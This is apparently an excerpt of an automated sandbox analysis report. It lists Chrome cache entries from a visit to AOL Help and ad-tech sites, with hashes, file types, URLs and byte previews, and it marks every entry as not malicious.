SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://rtb.openx.net/sync/dds?ox_sc=1&ox_init=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 371

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	123712
Entropy (8bit):	7.998589088666185
Encrypted:	true
SSDEEP:	3072:VT00ZYfyLy8hPJJzC14BLZRQNayV7xgA8MBzZ9YZbY4a:ZxyfyLyCJLLEaE7xrrzZga
MD5:	C1C741A9CB8FE4307B7AB2B0B3ACA551
SHA1:	973BF612382B95DA56474D4DDDEEB13A4A95E09E
SHA-256:	D991BC1A11D97486AC4C5F567510BFE35A7C11BF5AAC7887FD34746B9F11DE84
SHA-512:	D10EC36107C6440D6A818856EC4839CE973C16FCE6A7E5136313A377A7494B2A20EDE0B12A6F7C868022D892E1895B792AD3B5466D14CCB007A382E77C8966B1
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/b9fca259-3844-437c-b64c-0224dc3ed766/04cd0196-5ce1-4316-ad15-e975ff605a08/3x/segment5.ts?akamai_token=exp=1716526298~acl=/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/b9fca259-3844-437c-b64c-0224dc3ed766/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=a1c7bcd6f1d260da055f1cd47e0887def6b524cc09347329e02c2472f23dfbde
Preview:	{.......{4..ZzTa[.....9..<.`..w7W....q2.P.......F2.iwu);"........;.....+.@....m.%.}.2....R'.i.K...C....!...~1.B.+{..5.~a...L.Uk.\|.X....7l..Sw...~./.#......b.z...J.>...>..>..LY(_/.....J8.8Z._Oh........B.....>.....iQ..WCO.]2..V]=.....~..!Z..Q.e@........X..>-..ct.....M....%..o.wB.P...B.mVb...8..@.$........A=.....y..j<...zC.....,.Rdbjg./a.e..\....+6......KD#...=.E...?..e..y'...\....!d..<.$.../+.:S..W.....o..NXM.C..7...<.W...............@n...72...r.MC.;.Q.;.5..nJ..R..M.-..p.cZt..3i.z..a....!....wdu....@."`.W.............@.=.....49....9H......Qq.31...{].......2.rN:...I)...b,.....[..P.A.....O.^t.R...K.N..l...a..HI..^.R....p#.@3.....O..e...M.sO..$...6x.......p.P.-9"D?..N......v.......zd]..q..........,R...J....,^.mr.+F}...cD...DZ.....1.._\|.......k.5$gk.8!K..p.v...<B.....d.p.,....5..p)4..e....O.Z....U.x........'..5J.....L...mT_9p..N%..."./...k..ZX....Or..jgh.aNP....*..Q..Q_FZ...l...:_.T.1.....(%.h$";..../U.m.........+..JF66p^..S+.

Chrome Cache Entry: 372

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	14932
Entropy (8bit):	7.96966015177016
Encrypted:	false
SSDEEP:	384:IOEcwYl+A+fQK5N9GKyk1Nr95/HBDxYmsleAzT:upYl/eQO9G+5TpymQeAzT
MD5:	2F8FC50A1D68C54977EDCAA328C131A5
SHA1:	0654C7635BA82684A5CAD746830356F373AE7B29
SHA-256:	0A4609CB74F9420F08A21F80C36B924EDF75AE541CB6FFE74AF6595B67D9612E
SHA-512:	FF4AC25E2897977F57229F7B4593042EFFD2CCADE8B5E0A3B4CF415D86DCDF55AA54F66F783E9563C861B2C5742E96E174D153EBB5090FBF1DED99113727AE5D
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?quality=80&thumbnail=300%2C300%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2022-08%2F42b48620-19dc-11ed-9def-335ff63bb2a0&client=76f99bdb8f78cd44cc0b&signature=0468b59009bf341c47eef19de48a359570b09e19
Preview:	......JFIF...........................................,. .. .,'/&$&/'F7117FQD@DQbXXb\|v\|................................,. .. .,'/&$&/'F7117FQD@DQbXXb\|v\|.........,.,.."..........4..................................................................0z..<i.R^4......M...K...R..C./!>.%.&..1WiO]9H.'>....0b-....j\|.\..2.e...$s...V.....ud9..(...FZ...p...(e.n,jO....R....P.N.3...{....ik...6@..j9Z.k`.u.8Vn.....S[.S.s!.......!.q...+.6...cP...OPsJ..x....(..S.o..V.S......_......l$.m.........+..\M.....Y..O$!B.gu...P....G.......fx.;r.&..,. ....T...K....Pn,E.d...2..EZ....pvM. ...:AN.^...wv.....=.%X...T.s.kR.j).m.q...&C...V..d.$_D............V.l..0.B..#."..+r...\|.8.W.3.q..j..R..w...D[.78..[.n...l....&..... q..Wh1.....V.f.a.....&...//...>EI.j...{.P?.t....;IA,.m.g...W..=.[4...f.....W..0J..\Z.4)...7Oc...;....WU.K.V..Q.W...Js..;...5..f.8.&...w..;..v%v.."........z.%j...6/...\|...'.p+.+.?+.*.AG<..cn....+...\|.j$..q.2..Y.....].7...I....7?....eX..}H.>rLl....]i...{.....IU.I....

Chrome Cache Entry: 373

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (22327)
Category:	downloaded
Size (bytes):	45452
Entropy (8bit):	5.5064143658372
Encrypted:	false
SSDEEP:	768:o4C0rclpFqeEXmiJz05TGFE46A2CLf+hYqIKeM:ZCHx470sk8+hYueM
MD5:	64B86F78C0323D9B2E9DD67315C90B97
SHA1:	5AF16F03D5A51E15B77EEFF0167AEEFBA79695CE
SHA-256:	E7144DD3415C36A18AAA0B66FDD1A7EC8D837662265908ADFCFEB21E5FEF92A5
SHA-512:	5BEBF4F5E9BA7B61FABDFE26F7E3690F517AEE0306320A5118AF6882C3229D88512628FE375EE9373DAB03CD1EEB78F9B508A9DB7061FDF27B88C31E42DC9C79
Malicious:	false
Reputation:	low
URL:	https://help.aol.com/
Preview:	<!DOCTYPE html><html lang="en"><head><title>AOL Help</title><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="oath:guce:consent-host" content="guce.aol.com"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="stylesheet" href="https://s.aolcdn.com/caas-assets-production/assets/v1/common.5a5e92d32c044529.css"><link rel="stylesheet" href="https://s.aolcdn.com/caas-assets-production/assets/v1/aol_footer.a6b7d6a1bc8e39ac.css"><link rel="stylesheet" href="https://s.aolcdn.com/caas-assets-production/assets/v1/aol_header.f181955cb1e46a84.css"><link rel="stylesheet" href="/assets/css/"><link rel="stylesheet" href="https://s.aolcdn.com/psstatic/aolhelp-prod/18.5.53/assets/css/aolv2.css"><script>var AolHelpGlobals = {"brandId":"usaol","langLocale":"en-US","host":"help.aol.com","id":"home","title":"","uiVersion":2,"meta":{"url":"help.aol.com/","titleTranslated":"","description":"","icon":""},"brand_specific":{"site_title":"AOL Help

Chrome Cache Entry: 374

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1332)
Category:	downloaded
Size (bytes):	1333
Entropy (8bit):	5.321702997562038
Encrypted:	false
SSDEEP:	24:ciOaqSVsQ9yTLLT7LbSIOyKW5Q00mmF0oKocxxRLilRGg1NGUXRUsI0fS5:zjq+QLzHdOy3QHXF3KocxK1zDRUsm
MD5:	FB8E60E0C2F56C3B00CBF93D69EF7179
SHA1:	6220E59E10143CBABAF93076E2F6E0A843F74070
SHA-256:	9CC33C2DBBF49483EF09B4C342240770A52FBEE93337668FE8A3626FF5C3D1ED
SHA-512:	7EC70E08A4A79F817CAD458786C0AD74C4B253FA35C7607D370E4E1C9CE7A1287C5DE16040153B65F6FCC04E8978C69C8AD4A1D6B752F5DCAEE8EFD69157D8C1
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cx/vzm/cs.js
Preview:	!function(){"use strict";var c=window,t=c.document;function n(t,n,e,r){if(!t\|\|!n\|\|"function"!=typeof c[t])return r();try{c[t](n,e,(function(c,t){r(c,t)}))}catch(c){r()}}c.COMSCORE={_version:"1.6.1",beacon:function(e){n("__uspapi","getDoNotSell",1,(function(r,o){n("__tcfapi","getTCData",2,(function(n,p){var s=JSON.parse(JSON.stringify(e\|\|{})),i=n&&n.gdprApplies\|\|!1,f=c.YAHOO&&c.YAHOO.comscore\|\|{},a=c.rapidInstance&&c.rapidInstance.getRapidAttribute;s.c1=s.c1\|\|"2",s.c2=s.c2\|\|f.c2\|\|"7241469",s.c5=s.c5\|\|a&&a("spaceid"),s.c7=s.c7\|\|t.location.href,s.c8=s.c8\|\|t.title\|\|"",s.c9=s.c9\|\|t.referrer\|\|"",s.c14=s.c14\|\|f.c14\|\|"-1",s.gdpr=i?1:0,s.gdpr_consent="",i?p&&n&&(s.gdpr_consent=n.tcString\|\|""):o&&r&&"boolean"==typeof r.doNotSell?s.cs_ucfr=r.doNotSell?0:1:s.cs_ucfr=0,s.cs_ucfr&&(s.cs_fpid=s.cs_fpid\|\|f.cs_fpid),s.cs_fpid&&(s.cs_fpdm=f.cs_fpdm\|\|"*null",s.cs_fpdt=f.cs_fpdt\|\|"01",s.cs_fpit=f.cs_fpit\|\|"c"),s.ns_c="UTF-8",s.ns__t=(new Date).getTime();var _=[];for(var d in s)if(s.hasOwnProperty(d)){var

Chrome Cache Entry: 375

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2581
Entropy (8bit):	7.793011920293916
Encrypted:	false
SSDEEP:	48:38CF+IJIKHv4CgMROz6+Pj1Hm7wDlW/L7jQSoDf+YIsoAzHHb3t:MOzJIUV1Y507wDk/8SUMsvj73t
MD5:	6D934474B3E355893E0271151804839B
SHA1:	D1DEF776EA8DA227D261F0F1FBED93B164FD360F
SHA-256:	CE916EDD25F91A6D7B5D94FD1400095E2466953EE959A2BEDA613F8D814BA3D5
SHA-512:	2F6A2D3E247AC9B2621AF728C68457CA18CB8DC8649C5949A9A1F3FFF26A1140BCD37C9B2A352394861ADAEF1B3C121DB8B98271AC5AD4213C3148FAB8B7033D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL...............................................................................................................................................H..!..!.72..........G.......i?..........{E.rB.......L6#OF....Y9......g.......vC.d=3YRv.-.......Z...62..W.51.41...H.Mfux.nE^.P.J:'.KG.zGU[..N..."01..S...1.k@B4.n....t.....I..$....uL....K?.ti...$.sC_]_,+.kU..Ic...1.x..h,,2r\.......Q.....6.L1>D...5;1.........c.........r...R7KI:m.Or}......w..]..j.w.L>\|....)8@.\|K...k.M.y]...XomN[a.40.~JyzIY,,.}..R.p...WQ:...@{f.........'pU..k..(.d{.P-zGs....P.rFh{U%.Z<JQT.v^in";:.%&.`<.2/..Yej.=;o-,3Y:.0.jK.D1xoo.....J.^<..n..SO.rC.my.P9.q4HIlSU.20.nnP.q.PP.aa.z^....z\.]^l82t.......e....q`..g........OO?2eZ=3.h...W.\|........[cqO..{.61.x..TVT..._bEc.q...v...../tRNS....M.)...3]..G..k.>...e...Sqm.....x......o.pR.p.....IDAT..}.u@.w.........v.v........ Ipw.....Z..].{....].n...E...=.yj.\.W.ohJ....-._gl..{.\|...!..Z....Vf........S...,{...7..e.....2u.kf..

Chrome Cache Entry: 376

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	low
URL:	https://help.aol.com/api/videos/featured
Preview:	[]

Chrome Cache Entry: 377

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2937)
Category:	downloaded
Size (bytes):	219217
Entropy (8bit):	5.418054083421649
Encrypted:	false
SSDEEP:	6144:haGHmZcSadFlTZa8fzYC+vijCOdIqlpawRtpm:LGry/lpb1m
MD5:	B6458A569A70D12F4B60C738067BA729
SHA1:	DA9A362C42111F33A5EA79CECD8CC86445C3FF16
SHA-256:	42BBD0012A46493C1CA8E228B118806D03BB60BB93ECB05D40413DC0401722F0
SHA-512:	B10E146EBA03A1787024CE1F719C5256F4AD8C132A7CE05061B40E7254EB282F19031E4188449C17EA421FA2C9D1B3FC0E36BE8C861F9865DA6F226ADEC12175
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/pagead/managed/js/activeview/current/ufs_web_display.js
Preview:	(function(){var n,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");},da=.ca(this),p=function(a,b){if(b)a:{var c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.p("Symbol",function(a){if(a)return a;var b=function(f,g){this.fh=f;ba(this,"description",{configurable:!0,writable:!0,value:g})};b.prototype.toString=function(){return this.fh};var c="jscomp_symbol_"+(1E9*Math.random()>>>0)+"_",d=0,e=function(f){if(this instanceof e

Chrome Cache Entry: 378

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 200x200, components 3
Category:	downloaded
Size (bytes):	11935
Entropy (8bit):	7.958360622469271
Encrypted:	false
SSDEEP:	192:2IOjXUO6rwAbSXf8sl71whxNCw1bIH/S49lQSsHByy/7Pb0PbZzkqiGKgi:2JCSZhExN71bIVQS05/vUri
MD5:	7A3C01BDD80A128AF90BE80040E887F8
SHA1:	7C9A4EF936113370DCFB98D68472DA0F6197FF0B
SHA-256:	3ECC184BD6F259948F06619665A3F8398194D1350EC9C658838F18EDA30996BD
SHA-512:	344B58236A01F3A06BBEC1DEAC79D4F91B6B77866602984D8B7FA0C7F50DBC5C5F19943546D95CDA2373589ECE089CF126F096CC9C497279BCBF4C84FD4914F2
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?thumbnail=200%2C200%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fam%2F60d%2F571c1467e77262475eef8398533d84f4&client=76f99bdb8f78cd44cc0b&signature=77ee9557942a8dc5ca9aa76c5f9d2e4a4414d393
Preview:	......JFIF.....................................................................&""&0-0>>T.............................+......+&.%#%.&D5//5DNB>BN_UU_wqw.........................6....................................................................Y..r`...rt..r....P.C.Xt...D..tD. ~.`.............pH.........XX........$75(.(...b...d.....L.........0.@...GE.D....\....8j.(..........&..N..+.._...0`...`).....R.YC..b.v\.r...a<..,.....%.OFR.(0...80AR.@.;a..Kn;X."...[..5...-..m.....^.g.t.Ac.).0!......x..m..}&KL.E.....>...............e....#..ikq.Y.r...6;.o..)s.t...j....,2.z.3....t.B...y.>......E..c.k.....g.......F...g..p....SE...a.....r....a.9.E....9f....._;W.GR..d..;+.&..k.O...k........\|...:h.#..xm.~R.....=}T.:y7...z).D5D._f...\|v...[..o..D.....5O.{.....}u....:.L..Z.(..z...I...>.+c..w........g.>W....i.:x..Rt...G\|...MW{Oym.s........[8....l..y.E....8q.'......`..#i.R.....]w....zO...z.]q....._..{.:GM....[z....wg..s^u/ED.;z....o..x6...1.=.l.U.iO...j.S.

Chrome Cache Entry: 379

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=rp&google_hm=TFdKVFpBQk4tWC1LNFBX&google_push=&gdpr=0
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 380

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "Lavc60.3.100", baseline, precision 8, 480x270, components 3
Category:	downloaded
Size (bytes):	22184
Entropy (8bit):	7.971802551873425
Encrypted:	false
SSDEEP:	384:WRjP4jkBSNeldL/LHfgM6+pxmsfhAM3CphHLJB5LAj8Of4pRtULgx2aJZG3lA:WR5SANd6+pcaTSLLnVAtf2XULm2Ww1A
MD5:	6EA7892337B46CA7D39F5B3FC7636980
SHA1:	F85A4B37BB635879CD3F0ABD6DBEE0057A252CBA
SHA-256:	78AB69C3CD1C378C7A32E62A1AA341F4523719FE5DED9538FEBFBB5AB9A191C2
SHA-512:	03C5AC347A0005D04138B84D57795392E9E7BBA788F789AA1C0AF5CEDDAA909E792F157A48C542055EE9C33476D34E0125FAD319E9397B1BC5F1FC5837560AE9
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/1m0s/match/image.jpeg?akamai_token=exp=1716516983~acl=/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/1m0s/match/image.jpeg*~hmac=d70930c22c564dd71396f7b6c764a04cb9bca518d8955ad27ad59a7c650184e1
Preview:	......JFIF..............Lavc60.3.100...C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================...........".......................................L........................!.1A.."Qa2q....#....BR.3br...$%C......DScs...45dt........................................................!1.A.Q.."2BRa..S............?.......RVK.Y.Ywa......K.\|.[.....h..U......q.;....b...H..:.[<.i.8....W.Ch...N..W..$..y.....c.n...-..i.I..D.$...V.".....-.h.x{..q.........\...%dc...~............^.....C.^...YT1..[gc...'v.Wk..i....q.r....N..P.%eU.=M.<.l...yG.sa.k.`.<X.#...F %...H.d........36...GQ...}+...x.3[....6..I.>.U.j`.?.tBNK..vH.E.R@...Z.Xj..w......V..{{....h.S.,.8..6.._.:<..>.....Y%..(..r.\.I.B....$..~T34.+h...c...[F..}.s%.$...h.!Y.RJ~..c.s.(.}X.h.a..@.T.'\|\|)i1.%c\....h..F5\{^.....Tg.(.b}Hq.N.6...7.f....c..H#...s20.a....)s..`...Cm;c8..C.....v.3.X.8...i fX..7......%.&($}#y...oN...J..Y..Y.r..C.RnoG..

Chrome Cache Entry: 381

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 500x500, components 3
Category:	dropped
Size (bytes):	64732
Entropy (8bit):	7.985066459072312
Encrypted:	false
SSDEEP:	1536:qCgQ/A56FWWwMFS5ssy0nypMRt/v1ERo9VLB3:dF/Amwl5s50naoTR
MD5:	991E9B3C300070B284DE33E2CF417E04
SHA1:	806B55812DEE36A8EB6AD82E3028CD8C1C0D92CE
SHA-256:	1C30C56E5CD62FBB6B410C4537760CFC523CE5C5E894037CC4B9C6A1AEF39395
SHA-512:	1D7E0CFD891BA12A6C79B95DC3AC3C990057D18A89E1088BB1A898589C7F1DEB89F4C8612AAC28D8A9F944C93F7A8CD6E9D7E0C80EA74E38A33BC99462A27CAD
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C............................. .....!%0)!#-$..9-13666 (;?:4>0563...C.......)..)W:1:WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW............................................................................................z.N.!..9........Z..k_..i..Z....y...Y.x2.ro....0.;g.O:.7.l.<.E..k9.K.x#...9....5f....x0.......`<...#.2.K...0.`2.#<......a..v.mK>N...s..=.Y.\|.5.P.<..\=y..^M.}...2...k...I..r..R{q.....4...Y..`<........rt....e.K!..7.O-`.....]zrn....+Ye.kNM.......Y..._O.V`5g.\u.=#.S..=.\.....?.......Lr.....W.V.f...x.......?.>/.b..A..Grt...e1<..}...l.t...{..~~.XlW.Q;IZg_.....w^&........so/..N..<..6..^........q....4..n..v>.....~..:1..8....X..C...<.\|/V....=..c..Oz.....:...6P........st.....,\|..4.S.2aG.F.e..<.........L.M.z....1..w.J.....z...Y.`........`Z.......^.x\|,....x0..;.Y.........q\..B.tH2e...@.\|....dc.....,....z#.r)...U.V.v.f..a....9...M..w....k.]9u!..+...`C/o......J.{..\...G.%@......>fS.)dZ^}.....M1..k..E+.....

Chrome Cache Entry: 382

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	284
Entropy (8bit):	6.582261324149933
Encrypted:	false
SSDEEP:	6:6v/lhPfB2pl6hFba6GjDslnsY81ltgpPfeB94cA69iqnC3laV5r1Ufdp:6v/7Y4rbMjDJvtgP2BycliZ3Yl14
MD5:	2C615C5BE29F203978F6690679A659C2
SHA1:	1843CC44108E0C26F2645458863971A825A1AE1B
SHA-256:	A3E250B97BE62F83EE0E78F6BD849BBF341B470DFAF206DED2B58EEC82D560A0
SHA-512:	1FB33EA79A2B2CF97B80E3F7550238D69B17FCE7D743573CD44A83E44A70660C41A4074CF43F3658973FAB1E061DA59A38739861A1B352CAE9A036007BA4DCF7
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2023-11%2F50be11c0-78ed-11ee-b7af-8321670771f9&client=76f99bdb8f78cd44cc0b&signature=7c9ec566c152b8d5ce6757c69659757d3e78e0a5
Preview:	.PNG........IHDR.............(-.S...KPLTEGpL.X..W.T...Y..X..X..b..\..Y.].........e..u...........k..X..........?.............tRNS........1.;./....vIDAT..e......D7E..%.._Z;...:..,.#m.R.hz5O.j.q.D....7kG.?........d..!..!.@....b.b.JU.....[v.`.M}.h..f..c[0.j....r..o....}.A.....IEND.B`.

Chrome Cache Entry: 383

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "Lavc60.3.100", baseline, precision 8, 480x270, components 3
Category:	downloaded
Size (bytes):	11214
Entropy (8bit):	7.924802811249043
Encrypted:	false
SSDEEP:	192:S4gqNyTVBC/wq+tB5zt1RZDslXPVirJjW1E3A3uFeJi/1a+p+lKTc3:dgqNWIIquB5ztv+lNirJC9Nw/1UJ3
MD5:	5C38BCF92708FFC6DDFB29134BB7BDDB
SHA1:	632BA2A51639F990FBA5C9012AF572DA95926E1B
SHA-256:	FF0107A1C0F7A024B2BCA8732B69CB56E40B9832A186A6378D39AB4EC6BFCC95
SHA-512:	69816FC074ADD2823514E70ABF95D058DCDF8BAF19592D27AE1C3C0BA3C14964ACCE03D4A015FA2D6E7B94E3133AF5302E5224E13F254769C749AA71A9BF6A92
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/40s/match/image.jpeg?akamai_token=exp=1716516983~acl=/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/40s/match/image.jpeg*~hmac=b436555f214af75d95a8bd01199f11b4452b0fa5fbd8777fab27eb56a2cca0af
Preview:	......JFIF..............Lavc60.3.100...C..............................................%.. !###..&)&")."#"...C..........."...""""""""""""""""""""""""""""""""""""""""""""""""""..........."........................................=.......................!..1A.."2Qa.q..#BR...3r......$Sb..C................................(.......................!.1"A.2Q.#BRa.3............?....B... ..B... ..B... ..B... ..B... ..B... ..B... ..B... ..B... ..B... ..B... ..B... ..B... ..B... ..B... ..B... ..B....z..M.c.."?;[}.....M.}..g.>.8...7[<.....k].;Ka....v.\..6<..2.....}(.........=z{.......3<..AN..D........)ES.....+......F<D.2HZ._M.Sw..'.f.a .;.n.m..O.9\|....{Z7.s..oD..B..%?ySsI.H...0...M...N..X...y..sKA.[..c..+. ..B... ..B... ..B... ..B... ..B... ..B... ..B... ..B...i....h...s[..Im.w...,...o.6.^......Z\|G{.#.3;Z....n.[.6.<.c.!g{]..VvS[..uOg.....I,..^.5.pte.../.r..M..;N.an..5/d_.z..k.t..MHB;.-........M..._b.OK...T.j.A.Lv...n......r...HB...!..B...u.....Y$P.9...G.\|..v...6.<...c..u.wj

Chrome Cache Entry: 384

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	1243
Entropy (8bit):	6.428761086647616
Encrypted:	false
SSDEEP:	24:9ZnobYH8xqr1xiZ/FqzY36kChVzY7TvzexrjzCYuJO/P9:9yYH8hFqMqkCzs7TvzgzNuIH9
MD5:	3CB4A068EDB5121CFFAC9BAAEDD50690
SHA1:	3D5A4283D76543BB964F5F8E77ADC375E986EB4A
SHA-256:	A8C1237B53423966BE2E580F1E8182F2472BFAB3091142C74AEEB86833B3FDDF
SHA-512:	5728D1355CA1655E68210365D455408038A671A6EEAD99D5FD75118A2DAFFD2FADB4C189BA1922F63906F1B401516667BC7D88826705EA04B3EDDAF7ABFD5DB2
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FkSFKSLh2AAsN66Xe9ynyIA--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190312%2F500x500%2Fpirates_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=d43580e1cb031eac0937777fb019d65cc8aa5e92
Preview:	.PNG........IHDR...2...2.....).x....OPLTEGpL...................................................................X.........................................................................................................................................................................................................X.......X.X..........X....X.X.......X....X....X.X...X....X....................;....M..[..A........`..f.....]..+..7.............!.. .......%..K.....(........................=.......Z....B.....e..9.....{..j...............k...........E........*..s.....m..$.... ..~..)..,..l.......G.........u.B.....xtRNS..ls.F..Ly..w..3....%.$=.....I......0.....u......m....W{....o.....H..\.`6.....+.r.C......]......7,..4....Lb...c.../ZY}.....IDATH.c` ...H."...pu...-...<. `...z..n-.kj....-XXQ....5"...."S\Z<.qh....]...:\Z:W.qa.b...'X.n.E.n.T~w5..o...^e#d...KMq.D.J...T44.@...`Z....".4."l..i2].(M....b...JlZ....K<.ia.e...Z.$H.".@..9..eS(.Z.{.....k....n..%..

Chrome Cache Entry: 385

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&predirect=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dpubmatic%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D
